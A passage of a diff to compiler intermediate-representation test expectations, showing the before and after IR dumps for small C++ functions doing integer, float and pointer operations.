88| m0_7(bool) = Uninitialized : r0_6 -# 90| r0_8(glval) = VariableAddress[x] : -# 90| r0_9(int) = Load : r0_8, m0_3 -# 90| r0_10(glval) = VariableAddress[y] : -# 90| r0_11(int) = Load : r0_10, m0_5 -# 90| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 90| r0_13(glval) = VariableAddress[b] : -# 90| m0_14(bool) = Store : r0_13, r0_12 -# 91| r0_15(glval) = VariableAddress[x] : -# 91| r0_16(int) = Load : r0_15, m0_3 -# 91| r0_17(glval) = VariableAddress[y] : -# 91| r0_18(int) = Load : r0_17, m0_5 -# 91| r0_19(bool) = CompareNE : r0_16, r0_18 -# 91| r0_20(glval) = VariableAddress[b] : -# 91| m0_21(bool) = Store : r0_20, r0_19 -# 92| r0_22(glval) = VariableAddress[x] : -# 92| r0_23(int) = Load : r0_22, m0_3 -# 92| r0_24(glval) = VariableAddress[y] : -# 92| r0_25(int) = Load : r0_24, m0_5 -# 92| r0_26(bool) = CompareLT : r0_23, r0_25 -# 92| r0_27(glval) = VariableAddress[b] : -# 92| m0_28(bool) = Store : r0_27, r0_26 -# 93| r0_29(glval) = VariableAddress[x] : -# 93| r0_30(int) = Load : r0_29, m0_3 -# 93| r0_31(glval) = VariableAddress[y] : -# 93| r0_32(int) = Load : r0_31, m0_5 -# 93| r0_33(bool) = CompareGT : r0_30, r0_32 -# 93| r0_34(glval) = VariableAddress[b] : -# 93| m0_35(bool) = Store : r0_34, r0_33 -# 94| r0_36(glval) = VariableAddress[x] : -# 94| r0_37(int) = Load : r0_36, m0_3 -# 94| r0_38(glval) = VariableAddress[y] : -# 94| r0_39(int) = Load : r0_38, m0_5 -# 94| r0_40(bool) = CompareLE : r0_37, r0_39 -# 94| r0_41(glval) = VariableAddress[b] : -# 94| m0_42(bool) = Store : r0_41, r0_40 -# 95| r0_43(glval) = VariableAddress[x] : -# 95| r0_44(int) = Load : r0_43, m0_3 -# 95| r0_45(glval) = VariableAddress[y] : -# 95| r0_46(int) = Load : r0_45, m0_5 -# 95| r0_47(bool) = CompareGE : r0_44, r0_46 -# 95| r0_48(glval) = VariableAddress[b] : -# 95| m0_49(bool) = Store : r0_48, r0_47 -# 96| v0_50(void) = NoOp : -# 87| v0_51(void) = ReturnVoid : -# 87| v0_52(void) = UnmodeledUse : mu* -# 87| v0_53(void) = ExitFunction : +# 87| m0_1(unknown) = AliasedDefinition : +# 87| mu0_2(unknown) = UnmodeledDefinition : +# 87| r0_3(glval) = VariableAddress[x] : +# 87| m0_4(int) = InitializeParameter[x] : r0_3 +# 87| r0_5(glval) = VariableAddress[y] : +# 87| m0_6(int) = InitializeParameter[y] : r0_5 +# 88| r0_7(glval) = VariableAddress[b] : +# 88| m0_8(bool) = Uninitialized[b] : r0_7 +# 90| r0_9(glval) = VariableAddress[x] : +# 90| r0_10(int) = Load : r0_9, m0_4 +# 90| r0_11(glval) = VariableAddress[y] : +# 90| r0_12(int) = Load : r0_11, m0_6 +# 90| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 90| r0_14(glval) = VariableAddress[b] : +# 90| m0_15(bool) = Store : r0_14, r0_13 +# 91| r0_16(glval) = VariableAddress[x] : +# 91| r0_17(int) = Load : r0_16, m0_4 +# 91| r0_18(glval) = VariableAddress[y] : +# 91| r0_19(int) = Load : r0_18, m0_6 +# 91| r0_20(bool) = CompareNE : r0_17, r0_19 +# 91| r0_21(glval) = VariableAddress[b] : +# 91| m0_22(bool) = Store : r0_21, r0_20 +# 92| r0_23(glval) = VariableAddress[x] : +# 92| r0_24(int) = Load : r0_23, m0_4 +# 92| r0_25(glval) = VariableAddress[y] : +# 92| r0_26(int) = Load : r0_25, m0_6 +# 92| r0_27(bool) = CompareLT : r0_24, r0_26 +# 92| r0_28(glval) = VariableAddress[b] : +# 92| m0_29(bool) = Store : r0_28, r0_27 +# 93| r0_30(glval) = VariableAddress[x] : +# 93| r0_31(int) = Load : r0_30, m0_4 +# 93| r0_32(glval) = VariableAddress[y] : +# 93| r0_33(int) = Load : r0_32, m0_6 +# 93| r0_34(bool) = CompareGT : r0_31, r0_33 +# 93| r0_35(glval) = VariableAddress[b] : +# 93| m0_36(bool) = Store : r0_35, r0_34 +# 94| r0_37(glval) = VariableAddress[x] : +# 94| r0_38(int) = Load : r0_37, m0_4 +# 94| r0_39(glval) = VariableAddress[y] : +# 94| r0_40(int) = Load : r0_39, m0_6 +# 94| r0_41(bool) = CompareLE : r0_38, r0_40 +# 94| r0_42(glval) = VariableAddress[b] : +# 94| m0_43(bool) = Store : r0_42, r0_41 +# 95| r0_44(glval) = VariableAddress[x] : +# 95| r0_45(int) = Load : r0_44, m0_4 +# 95| r0_46(glval) = VariableAddress[y] : +# 95| r0_47(int) = Load : r0_46, m0_6 +# 95| r0_48(bool) = CompareGE : r0_45, r0_47 +# 95| r0_49(glval) = VariableAddress[b] : +# 95| m0_50(bool) = Store : r0_49, r0_48 +# 96| v0_51(void) = NoOp : +# 87| v0_52(void) = ReturnVoid : +# 87| v0_53(void) = UnmodeledUse : mu* +# 87| v0_54(void) = ExitFunction : # 98| IntegerCrement(int) -> void # 98| Block 0 # 98| v0_0(void) = EnterFunction : -# 98| mu0_1(unknown) = UnmodeledDefinition : -# 98| r0_2(glval) = VariableAddress[x] : -# 98| m0_3(int) = InitializeParameter[x] : r0_2 -# 99| r0_4(glval) = VariableAddress[y] : -# 99| m0_5(int) = Uninitialized : r0_4 -# 101| r0_6(glval) = VariableAddress[x] : -# 101| r0_7(int) = Load : r0_6, m0_3 -# 101| r0_8(int) = Constant[1] : -# 101| r0_9(int) = Add : r0_7, r0_8 -# 101| m0_10(int) = Store : r0_6, r0_9 -# 101| r0_11(glval) = VariableAddress[y] : -# 101| m0_12(int) = Store : r0_11, r0_9 -# 102| r0_13(glval) = VariableAddress[x] : -# 102| r0_14(int) = Load : r0_13, m0_10 -# 102| r0_15(int) = Constant[1] : -# 102| r0_16(int) = Sub : r0_14, r0_15 -# 102| m0_17(int) = Store : r0_13, r0_16 -# 102| r0_18(glval) = VariableAddress[y] : -# 102| m0_19(int) = Store : r0_18, r0_16 -# 103| r0_20(glval) = VariableAddress[x] : -# 103| r0_21(int) = Load : r0_20, m0_17 -# 103| r0_22(int) = Constant[1] : -# 103| r0_23(int) = Add : r0_21, r0_22 -# 103| m0_24(int) = Store : r0_20, r0_23 -# 103| r0_25(glval) = VariableAddress[y] : -# 103| m0_26(int) = Store : r0_25, r0_21 -# 104| r0_27(glval) = VariableAddress[x] : -# 104| r0_28(int) = Load : r0_27, m0_24 -# 104| r0_29(int) = Constant[1] : -# 104| r0_30(int) = Sub : r0_28, r0_29 -# 104| m0_31(int) = Store : r0_27, r0_30 -# 104| r0_32(glval) = VariableAddress[y] : -# 104| m0_33(int) = Store : r0_32, r0_28 -# 105| v0_34(void) = NoOp : -# 98| v0_35(void) = ReturnVoid : -# 98| v0_36(void) = UnmodeledUse : mu* -# 98| v0_37(void) = ExitFunction : +# 98| m0_1(unknown) = AliasedDefinition : +# 98| mu0_2(unknown) = UnmodeledDefinition : +# 98| r0_3(glval) = VariableAddress[x] : +# 98| m0_4(int) = InitializeParameter[x] : r0_3 +# 99| r0_5(glval) = VariableAddress[y] : +# 99| m0_6(int) = Uninitialized[y] : r0_5 +# 101| r0_7(glval) = VariableAddress[x] : +# 101| r0_8(int) = Load : r0_7, m0_4 +# 101| r0_9(int) = Constant[1] : +# 101| r0_10(int) = Add : r0_8, r0_9 +# 101| m0_11(int) = Store : r0_7, r0_10 +# 101| r0_12(glval) = VariableAddress[y] : +# 101| m0_13(int) = Store : r0_12, r0_10 +# 102| r0_14(glval) = VariableAddress[x] : +# 102| r0_15(int) = Load : r0_14, m0_11 +# 102| r0_16(int) = Constant[1] : +# 102| r0_17(int) = Sub : r0_15, r0_16 +# 102| m0_18(int) = Store : r0_14, r0_17 +# 102| r0_19(glval) = VariableAddress[y] : +# 102| m0_20(int) = Store : r0_19, r0_17 +# 103| r0_21(glval) = VariableAddress[x] : +# 103| r0_22(int) = Load : r0_21, m0_18 +# 103| r0_23(int) = Constant[1] : +# 103| r0_24(int) = Add : r0_22, r0_23 +# 103| m0_25(int) = Store : r0_21, r0_24 +# 103| r0_26(glval) = VariableAddress[y] : +# 103| m0_27(int) = Store : r0_26, r0_22 +# 104| r0_28(glval) = VariableAddress[x] : +# 104| r0_29(int) = Load : r0_28, m0_25 +# 104| r0_30(int) = Constant[1] : +# 104| r0_31(int) = Sub : r0_29, r0_30 +# 104| m0_32(int) = Store : r0_28, r0_31 +# 104| r0_33(glval) = VariableAddress[y] : +# 104| m0_34(int) = Store : r0_33, r0_29 +# 105| v0_35(void) = NoOp : +# 98| v0_36(void) = ReturnVoid : +# 98| v0_37(void) = UnmodeledUse : mu* +# 98| v0_38(void) = ExitFunction : # 107| IntegerCrement_LValue(int) -> void # 107| Block 0 # 107| v0_0(void) = EnterFunction : -# 107| mu0_1(unknown) = UnmodeledDefinition : -# 107| r0_2(glval) = VariableAddress[x] : -# 107| m0_3(int) = InitializeParameter[x] : r0_2 -# 108| r0_4(glval) = VariableAddress[p] : -# 108| m0_5(int *) = Uninitialized : r0_4 -# 110| r0_6(glval) = VariableAddress[x] : -# 110| r0_7(int) = Load : r0_6, m0_3 -# 110| r0_8(int) = Constant[1] : -# 110| r0_9(int) = Add : r0_7, r0_8 -# 110| m0_10(int) = Store : r0_6, r0_9 -# 110| r0_11(glval) = VariableAddress[p] : -# 110| m0_12(int *) = Store : r0_11, r0_6 -# 111| r0_13(glval) = VariableAddress[x] : -# 111| r0_14(int) = Load : r0_13, m0_10 -# 111| r0_15(int) = Constant[1] : -# 111| r0_16(int) = Sub : r0_14, r0_15 -# 111| m0_17(int) = Store : r0_13, r0_16 -# 111| r0_18(glval) = VariableAddress[p] : -# 111| m0_19(int *) = Store : r0_18, r0_13 -# 112| v0_20(void) = NoOp : -# 107| v0_21(void) = ReturnVoid : -# 107| v0_22(void) = UnmodeledUse : mu* -# 107| v0_23(void) = ExitFunction : +# 107| m0_1(unknown) = AliasedDefinition : +# 107| mu0_2(unknown) = UnmodeledDefinition : +# 107| r0_3(glval) = VariableAddress[x] : +# 107| m0_4(int) = InitializeParameter[x] : r0_3 +# 108| r0_5(glval) = VariableAddress[p] : +# 108| m0_6(int *) = Uninitialized[p] : r0_5 +# 110| r0_7(glval) = VariableAddress[x] : +# 110| r0_8(int) = Load : r0_7, mu0_2 +# 110| r0_9(int) = Constant[1] : +# 110| r0_10(int) = Add : r0_8, r0_9 +# 110| m0_11(int) = Store : r0_7, r0_10 +# 110| r0_12(glval) = VariableAddress[p] : +# 110| m0_13(int *) = Store : r0_12, r0_7 +# 111| r0_14(glval) = VariableAddress[x] : +# 111| r0_15(int) = Load : r0_14, mu0_2 +# 111| r0_16(int) = Constant[1] : +# 111| r0_17(int) = Sub : r0_15, r0_16 +# 111| m0_18(int) = Store : r0_14, r0_17 +# 111| r0_19(glval) = VariableAddress[p] : +# 111| m0_20(int *) = Store : r0_19, r0_14 +# 112| v0_21(void) = NoOp : +# 107| v0_22(void) = ReturnVoid : +# 107| v0_23(void) = UnmodeledUse : mu* +# 107| v0_24(void) = ExitFunction : # 114| FloatOps(double, double) -> void # 114| Block 0 # 114| v0_0(void) = EnterFunction : -# 114| mu0_1(unknown) = UnmodeledDefinition : -# 114| r0_2(glval) = VariableAddress[x] : -# 114| m0_3(double) = InitializeParameter[x] : r0_2 -# 114| r0_4(glval) = VariableAddress[y] : -# 114| m0_5(double) = InitializeParameter[y] : r0_4 -# 115| r0_6(glval) = VariableAddress[z] : -# 115| m0_7(double) = Uninitialized : r0_6 -# 117| r0_8(glval) = VariableAddress[x] : -# 117| r0_9(double) = Load : r0_8, m0_3 -# 117| r0_10(glval) = VariableAddress[y] : -# 117| r0_11(double) = Load : r0_10, m0_5 -# 117| r0_12(double) = Add : r0_9, r0_11 -# 117| r0_13(glval) = VariableAddress[z] : -# 117| m0_14(double) = Store : r0_13, r0_12 -# 118| r0_15(glval) = VariableAddress[x] : -# 118| r0_16(double) = Load : r0_15, m0_3 -# 118| r0_17(glval) = VariableAddress[y] : -# 118| r0_18(double) = Load : r0_17, m0_5 -# 118| r0_19(double) = Sub : r0_16, r0_18 -# 118| r0_20(glval) = VariableAddress[z] : -# 118| m0_21(double) = Store : r0_20, r0_19 -# 119| r0_22(glval) = VariableAddress[x] : -# 119| r0_23(double) = Load : r0_22, m0_3 -# 119| r0_24(glval) = VariableAddress[y] : -# 119| r0_25(double) = Load : r0_24, m0_5 -# 119| r0_26(double) = Mul : r0_23, r0_25 -# 119| r0_27(glval) = VariableAddress[z] : -# 119| m0_28(double) = Store : r0_27, r0_26 -# 120| r0_29(glval) = VariableAddress[x] : -# 120| r0_30(double) = Load : r0_29, m0_3 -# 120| r0_31(glval) = VariableAddress[y] : -# 120| r0_32(double) = Load : r0_31, m0_5 -# 120| r0_33(double) = Div : r0_30, r0_32 -# 120| r0_34(glval) = VariableAddress[z] : -# 120| m0_35(double) = Store : r0_34, r0_33 -# 122| r0_36(glval) = VariableAddress[x] : -# 122| r0_37(double) = Load : r0_36, m0_3 -# 122| r0_38(glval) = VariableAddress[z] : -# 122| m0_39(double) = Store : r0_38, r0_37 -# 124| r0_40(glval) = VariableAddress[x] : -# 124| r0_41(double) = Load : r0_40, m0_3 -# 124| r0_42(glval) = VariableAddress[z] : -# 124| r0_43(double) = Load : r0_42, m0_39 -# 124| r0_44(double) = Add : r0_43, r0_41 -# 124| m0_45(double) = Store : r0_42, r0_44 -# 125| r0_46(glval) = VariableAddress[x] : -# 125| r0_47(double) = Load : r0_46, m0_3 -# 125| r0_48(glval) = VariableAddress[z] : -# 125| r0_49(double) = Load : r0_48, m0_45 -# 125| r0_50(double) = Sub : r0_49, r0_47 -# 125| m0_51(double) = Store : r0_48, r0_50 -# 126| r0_52(glval) = VariableAddress[x] : -# 126| r0_53(double) = Load : r0_52, m0_3 -# 126| r0_54(glval) = VariableAddress[z] : -# 126| r0_55(double) = Load : r0_54, m0_51 -# 126| r0_56(double) = Mul : r0_55, r0_53 -# 126| m0_57(double) = Store : r0_54, r0_56 -# 127| r0_58(glval) = VariableAddress[x] : -# 127| r0_59(double) = Load : r0_58, m0_3 -# 127| r0_60(glval) = VariableAddress[z] : -# 127| r0_61(double) = Load : r0_60, m0_57 -# 127| r0_62(double) = Div : r0_61, r0_59 -# 127| m0_63(double) = Store : r0_60, r0_62 -# 129| r0_64(glval) = VariableAddress[x] : -# 129| r0_65(double) = Load : r0_64, m0_3 -# 129| r0_66(double) = CopyValue : r0_65 -# 129| r0_67(glval) = VariableAddress[z] : -# 129| m0_68(double) = Store : r0_67, r0_66 -# 130| r0_69(glval) = VariableAddress[x] : -# 130| r0_70(double) = Load : r0_69, m0_3 -# 130| r0_71(double) = Negate : r0_70 -# 130| r0_72(glval) = VariableAddress[z] : -# 130| m0_73(double) = Store : r0_72, r0_71 -# 131| v0_74(void) = NoOp : -# 114| v0_75(void) = ReturnVoid : -# 114| v0_76(void) = UnmodeledUse : mu* -# 114| v0_77(void) = ExitFunction : +# 114| m0_1(unknown) = AliasedDefinition : +# 114| mu0_2(unknown) = UnmodeledDefinition : +# 114| r0_3(glval) = VariableAddress[x] : +# 114| m0_4(double) = InitializeParameter[x] : r0_3 +# 114| r0_5(glval) = VariableAddress[y] : +# 114| m0_6(double) = InitializeParameter[y] : r0_5 +# 115| r0_7(glval) = VariableAddress[z] : +# 115| m0_8(double) = Uninitialized[z] : r0_7 +# 117| r0_9(glval) = VariableAddress[x] : +# 117| r0_10(double) = Load : r0_9, m0_4 +# 117| r0_11(glval) = VariableAddress[y] : +# 117| r0_12(double) = Load : r0_11, m0_6 +# 117| r0_13(double) = Add : r0_10, r0_12 +# 117| r0_14(glval) = VariableAddress[z] : +# 117| m0_15(double) = Store : r0_14, r0_13 +# 118| r0_16(glval) = VariableAddress[x] : +# 118| r0_17(double) = Load : r0_16, m0_4 +# 118| r0_18(glval) = VariableAddress[y] : +# 118| r0_19(double) = Load : r0_18, m0_6 +# 118| r0_20(double) = Sub : r0_17, r0_19 +# 118| r0_21(glval) = VariableAddress[z] : +# 118| m0_22(double) = Store : r0_21, r0_20 +# 119| r0_23(glval) = VariableAddress[x] : +# 119| r0_24(double) = Load : r0_23, m0_4 +# 119| r0_25(glval) = VariableAddress[y] : +# 119| r0_26(double) = Load : r0_25, m0_6 +# 119| r0_27(double) = Mul : r0_24, r0_26 +# 119| r0_28(glval) = VariableAddress[z] : +# 119| m0_29(double) = Store : r0_28, r0_27 +# 120| r0_30(glval) = VariableAddress[x] : +# 120| r0_31(double) = Load : r0_30, m0_4 +# 120| r0_32(glval) = VariableAddress[y] : +# 120| r0_33(double) = Load : r0_32, m0_6 +# 120| r0_34(double) = Div : r0_31, r0_33 +# 120| r0_35(glval) = VariableAddress[z] : +# 120| m0_36(double) = Store : r0_35, r0_34 +# 122| r0_37(glval) = VariableAddress[x] : +# 122| r0_38(double) = Load : r0_37, m0_4 +# 122| r0_39(glval) = VariableAddress[z] : +# 122| m0_40(double) = Store : r0_39, r0_38 +# 124| r0_41(glval) = VariableAddress[x] : +# 124| r0_42(double) = Load : r0_41, m0_4 +# 124| r0_43(glval) = VariableAddress[z] : +# 124| r0_44(double) = Load : r0_43, m0_40 +# 124| r0_45(double) = Add : r0_44, r0_42 +# 124| m0_46(double) = Store : r0_43, r0_45 +# 125| r0_47(glval) = VariableAddress[x] : +# 125| r0_48(double) = Load : r0_47, m0_4 +# 125| r0_49(glval) = VariableAddress[z] : +# 125| r0_50(double) = Load : r0_49, m0_46 +# 125| r0_51(double) = Sub : r0_50, r0_48 +# 125| m0_52(double) = Store : r0_49, r0_51 +# 126| r0_53(glval) = VariableAddress[x] : +# 126| r0_54(double) = Load : r0_53, m0_4 +# 126| r0_55(glval) = VariableAddress[z] : +# 126| r0_56(double) = Load : r0_55, m0_52 +# 126| r0_57(double) = Mul : r0_56, r0_54 +# 126| m0_58(double) = Store : r0_55, r0_57 +# 127| r0_59(glval) = VariableAddress[x] : +# 127| r0_60(double) = Load : r0_59, m0_4 +# 127| r0_61(glval) = VariableAddress[z] : +# 127| r0_62(double) = Load : r0_61, m0_58 +# 127| r0_63(double) = Div : r0_62, r0_60 +# 127| m0_64(double) = Store : r0_61, r0_63 +# 129| r0_65(glval) = VariableAddress[x] : +# 129| r0_66(double) = Load : r0_65, m0_4 +# 129| r0_67(double) = CopyValue : r0_66 +# 129| r0_68(glval) = VariableAddress[z] : +# 129| m0_69(double) = Store : r0_68, r0_67 +# 130| r0_70(glval) = VariableAddress[x] : +# 130| r0_71(double) = Load : r0_70, m0_4 +# 130| r0_72(double) = Negate : r0_71 +# 130| r0_73(glval) = VariableAddress[z] : +# 130| m0_74(double) = Store : r0_73, r0_72 +# 131| v0_75(void) = NoOp : +# 114| v0_76(void) = ReturnVoid : +# 114| v0_77(void) = UnmodeledUse : mu* +# 114| v0_78(void) = ExitFunction : # 133| FloatCompare(double, double) -> void # 133| Block 0 # 133| v0_0(void) = EnterFunction : -# 133| mu0_1(unknown) = UnmodeledDefinition : -# 133| r0_2(glval) = VariableAddress[x] : -# 133| m0_3(double) = InitializeParameter[x] : r0_2 -# 133| r0_4(glval) = VariableAddress[y] : -# 133| m0_5(double) = InitializeParameter[y] : r0_4 -# 134| r0_6(glval) = VariableAddress[b] : -# 134| m0_7(bool) = Uninitialized : r0_6 -# 136| r0_8(glval) = VariableAddress[x] : -# 136| r0_9(double) = Load : r0_8, m0_3 -# 136| r0_10(glval) = VariableAddress[y] : -# 136| r0_11(double) = Load : r0_10, m0_5 -# 136| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 136| r0_13(glval) = VariableAddress[b] : -# 136| m0_14(bool) = Store : r0_13, r0_12 -# 137| r0_15(glval) = VariableAddress[x] : -# 137| r0_16(double) = Load : r0_15, m0_3 -# 137| r0_17(glval) = VariableAddress[y] : -# 137| r0_18(double) = Load : r0_17, m0_5 -# 137| r0_19(bool) = CompareNE : r0_16, r0_18 -# 137| r0_20(glval) = VariableAddress[b] : -# 137| m0_21(bool) = Store : r0_20, r0_19 -# 138| r0_22(glval) = VariableAddress[x] : -# 138| r0_23(double) = Load : r0_22, m0_3 -# 138| r0_24(glval) = VariableAddress[y] : -# 138| r0_25(double) = Load : r0_24, m0_5 -# 138| r0_26(bool) = CompareLT : r0_23, r0_25 -# 138| r0_27(glval) = VariableAddress[b] : -# 138| m0_28(bool) = Store : r0_27, r0_26 -# 139| r0_29(glval) = VariableAddress[x] : -# 139| r0_30(double) = Load : r0_29, m0_3 -# 139| r0_31(glval) = VariableAddress[y] : -# 139| r0_32(double) = Load : r0_31, m0_5 -# 139| r0_33(bool) = CompareGT : r0_30, r0_32 -# 139| r0_34(glval) = VariableAddress[b] : -# 139| m0_35(bool) = Store : r0_34, r0_33 -# 140| r0_36(glval) = VariableAddress[x] : -# 140| r0_37(double) = Load : r0_36, m0_3 -# 140| r0_38(glval) = VariableAddress[y] : -# 140| r0_39(double) = Load : r0_38, m0_5 -# 140| r0_40(bool) = CompareLE : r0_37, r0_39 -# 140| r0_41(glval) = VariableAddress[b] : -# 140| m0_42(bool) = Store : r0_41, r0_40 -# 141| r0_43(glval) = VariableAddress[x] : -# 141| r0_44(double) = Load : r0_43, m0_3 -# 141| r0_45(glval) = VariableAddress[y] : -# 141| r0_46(double) = Load : r0_45, m0_5 -# 141| r0_47(bool) = CompareGE : r0_44, r0_46 -# 141| r0_48(glval) = VariableAddress[b] : -# 141| m0_49(bool) = Store : r0_48, r0_47 -# 142| v0_50(void) = NoOp : -# 133| v0_51(void) = ReturnVoid : -# 133| v0_52(void) = UnmodeledUse : mu* -# 133| v0_53(void) = ExitFunction : +# 133| m0_1(unknown) = AliasedDefinition : +# 133| mu0_2(unknown) = UnmodeledDefinition : +# 133| r0_3(glval) = VariableAddress[x] : +# 133| m0_4(double) = InitializeParameter[x] : r0_3 +# 133| r0_5(glval) = VariableAddress[y] : +# 133| m0_6(double) = InitializeParameter[y] : r0_5 +# 134| r0_7(glval) = VariableAddress[b] : +# 134| m0_8(bool) = Uninitialized[b] : r0_7 +# 136| r0_9(glval) = VariableAddress[x] : +# 136| r0_10(double) = Load : r0_9, m0_4 +# 136| r0_11(glval) = VariableAddress[y] : +# 136| r0_12(double) = Load : r0_11, m0_6 +# 136| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 136| r0_14(glval) = VariableAddress[b] : +# 136| m0_15(bool) = Store : r0_14, r0_13 +# 137| r0_16(glval) = VariableAddress[x] : +# 137| r0_17(double) = Load : r0_16, m0_4 +# 137| r0_18(glval) = VariableAddress[y] : +# 137| r0_19(double) = Load : r0_18, m0_6 +# 137| r0_20(bool) = CompareNE : r0_17, r0_19 +# 137| r0_21(glval) = VariableAddress[b] : +# 137| m0_22(bool) = Store : r0_21, r0_20 +# 138| r0_23(glval) = VariableAddress[x] : +# 138| r0_24(double) = Load : r0_23, m0_4 +# 138| r0_25(glval) = VariableAddress[y] : +# 138| r0_26(double) = Load : r0_25, m0_6 +# 138| r0_27(bool) = CompareLT : r0_24, r0_26 +# 138| r0_28(glval) = VariableAddress[b] : +# 138| m0_29(bool) = Store : r0_28, r0_27 +# 139| r0_30(glval) = VariableAddress[x] : +# 139| r0_31(double) = Load : r0_30, m0_4 +# 139| r0_32(glval) = VariableAddress[y] : +# 139| r0_33(double) = Load : r0_32, m0_6 +# 139| r0_34(bool) = CompareGT : r0_31, r0_33 +# 139| r0_35(glval) = VariableAddress[b] : +# 139| m0_36(bool) = Store : r0_35, r0_34 +# 140| r0_37(glval) = VariableAddress[x] : +# 140| r0_38(double) = Load : r0_37, m0_4 +# 140| r0_39(glval) = VariableAddress[y] : +# 140| r0_40(double) = Load : r0_39, m0_6 +# 140| r0_41(bool) = CompareLE : r0_38, r0_40 +# 140| r0_42(glval) = VariableAddress[b] : +# 140| m0_43(bool) = Store : r0_42, r0_41 +# 141| r0_44(glval) = VariableAddress[x] : +# 141| r0_45(double) = Load : r0_44, m0_4 +# 141| r0_46(glval) = VariableAddress[y] : +# 141| r0_47(double) = Load : r0_46, m0_6 +# 141| r0_48(bool) = CompareGE : r0_45, r0_47 +# 141| r0_49(glval) = VariableAddress[b] : +# 141| m0_50(bool) = Store : r0_49, r0_48 +# 142| v0_51(void) = NoOp : +# 133| v0_52(void) = ReturnVoid : +# 133| v0_53(void) = UnmodeledUse : mu* +# 133| v0_54(void) = ExitFunction : # 144| FloatCrement(float) -> void # 144| Block 0 # 144| v0_0(void) = EnterFunction : -# 144| mu0_1(unknown) = UnmodeledDefinition : -# 144| r0_2(glval) = VariableAddress[x] : -# 144| m0_3(float) = InitializeParameter[x] : r0_2 -# 145| r0_4(glval) = VariableAddress[y] : -# 145| m0_5(float) = Uninitialized : r0_4 -# 147| r0_6(glval) = VariableAddress[x] : -# 147| r0_7(float) = Load : r0_6, m0_3 -# 147| r0_8(float) = Constant[1.0] : -# 147| r0_9(float) = Add : r0_7, r0_8 -# 147| m0_10(float) = Store : r0_6, r0_9 -# 147| r0_11(glval) = VariableAddress[y] : -# 147| m0_12(float) = Store : r0_11, r0_9 -# 148| r0_13(glval) = VariableAddress[x] : -# 148| r0_14(float) = Load : r0_13, m0_10 -# 148| r0_15(float) = Constant[1.0] : -# 148| r0_16(float) = Sub : r0_14, r0_15 -# 148| m0_17(float) = Store : r0_13, r0_16 -# 148| r0_18(glval) = VariableAddress[y] : -# 148| m0_19(float) = Store : r0_18, r0_16 -# 149| r0_20(glval) = VariableAddress[x] : -# 149| r0_21(float) = Load : r0_20, m0_17 -# 149| r0_22(float) = Constant[1.0] : -# 149| r0_23(float) = Add : r0_21, r0_22 -# 149| m0_24(float) = Store : r0_20, r0_23 -# 149| r0_25(glval) = VariableAddress[y] : -# 149| m0_26(float) = Store : r0_25, r0_21 -# 150| r0_27(glval) = VariableAddress[x] : -# 150| r0_28(float) = Load : r0_27, m0_24 -# 150| r0_29(float) = Constant[1.0] : -# 150| r0_30(float) = Sub : r0_28, r0_29 -# 150| m0_31(float) = Store : r0_27, r0_30 -# 150| r0_32(glval) = VariableAddress[y] : -# 150| m0_33(float) = Store : r0_32, r0_28 -# 151| v0_34(void) = NoOp : -# 144| v0_35(void) = ReturnVoid : -# 144| v0_36(void) = UnmodeledUse : mu* -# 144| v0_37(void) = ExitFunction : +# 144| m0_1(unknown) = AliasedDefinition : +# 144| mu0_2(unknown) = UnmodeledDefinition : +# 144| r0_3(glval) = VariableAddress[x] : +# 144| m0_4(float) = InitializeParameter[x] : r0_3 +# 145| r0_5(glval) = VariableAddress[y] : +# 145| m0_6(float) = Uninitialized[y] : r0_5 +# 147| r0_7(glval) = VariableAddress[x] : +# 147| r0_8(float) = Load : r0_7, m0_4 +# 147| r0_9(float) = Constant[1.0] : +# 147| r0_10(float) = Add : r0_8, r0_9 +# 147| m0_11(float) = Store : r0_7, r0_10 +# 147| r0_12(glval) = VariableAddress[y] : +# 147| m0_13(float) = Store : r0_12, r0_10 +# 148| r0_14(glval) = VariableAddress[x] : +# 148| r0_15(float) = Load : r0_14, m0_11 +# 148| r0_16(float) = Constant[1.0] : +# 148| r0_17(float) = Sub : r0_15, r0_16 +# 148| m0_18(float) = Store : r0_14, r0_17 +# 148| r0_19(glval) = VariableAddress[y] : +# 148| m0_20(float) = Store : r0_19, r0_17 +# 149| r0_21(glval) = VariableAddress[x] : +# 149| r0_22(float) = Load : r0_21, m0_18 +# 149| r0_23(float) = Constant[1.0] : +# 149| r0_24(float) = Add : r0_22, r0_23 +# 149| m0_25(float) = Store : r0_21, r0_24 +# 149| r0_26(glval) = VariableAddress[y] : +# 149| m0_27(float) = Store : r0_26, r0_22 +# 150| r0_28(glval) = VariableAddress[x] : +# 150| r0_29(float) = Load : r0_28, m0_25 +# 150| r0_30(float) = Constant[1.0] : +# 150| r0_31(float) = Sub : r0_29, r0_30 +# 150| m0_32(float) = Store : r0_28, r0_31 +# 150| r0_33(glval) = VariableAddress[y] : +# 150| m0_34(float) = Store : r0_33, r0_29 +# 151| v0_35(void) = NoOp : +# 144| v0_36(void) = ReturnVoid : +# 144| v0_37(void) = UnmodeledUse : mu* +# 144| v0_38(void) = ExitFunction : # 153| PointerOps(int *, int) -> void # 153| Block 0 # 153| v0_0(void) = EnterFunction : -# 153| mu0_1(unknown) = UnmodeledDefinition : -# 153| r0_2(glval) = VariableAddress[p] : -# 153| m0_3(int *) = InitializeParameter[p] : r0_2 -# 153| r0_4(glval) = VariableAddress[i] : -# 153| m0_5(int) = InitializeParameter[i] : r0_4 -# 154| r0_6(glval) = VariableAddress[q] : -# 154| m0_7(int *) = Uninitialized : r0_6 -# 155| r0_8(glval) = VariableAddress[b] : -# 155| m0_9(bool) = Uninitialized : r0_8 -# 157| r0_10(glval) = VariableAddress[p] : -# 157| r0_11(int *) = Load : r0_10, m0_3 -# 157| r0_12(glval) = VariableAddress[i] : -# 157| r0_13(int) = Load : r0_12, m0_5 -# 157| r0_14(int *) = PointerAdd[4] : r0_11, r0_13 -# 157| r0_15(glval) = VariableAddress[q] : -# 157| m0_16(int *) = Store : r0_15, r0_14 -# 158| r0_17(glval) = VariableAddress[i] : -# 158| r0_18(int) = Load : r0_17, m0_5 -# 158| r0_19(glval) = VariableAddress[p] : -# 158| r0_20(int *) = Load : r0_19, m0_3 -# 158| r0_21(int *) = PointerAdd[4] : r0_20, r0_18 -# 158| r0_22(glval) = VariableAddress[q] : -# 158| m0_23(int *) = Store : r0_22, r0_21 -# 159| r0_24(glval) = VariableAddress[p] : -# 159| r0_25(int *) = Load : r0_24, m0_3 -# 159| r0_26(glval) = VariableAddress[i] : -# 159| r0_27(int) = Load : 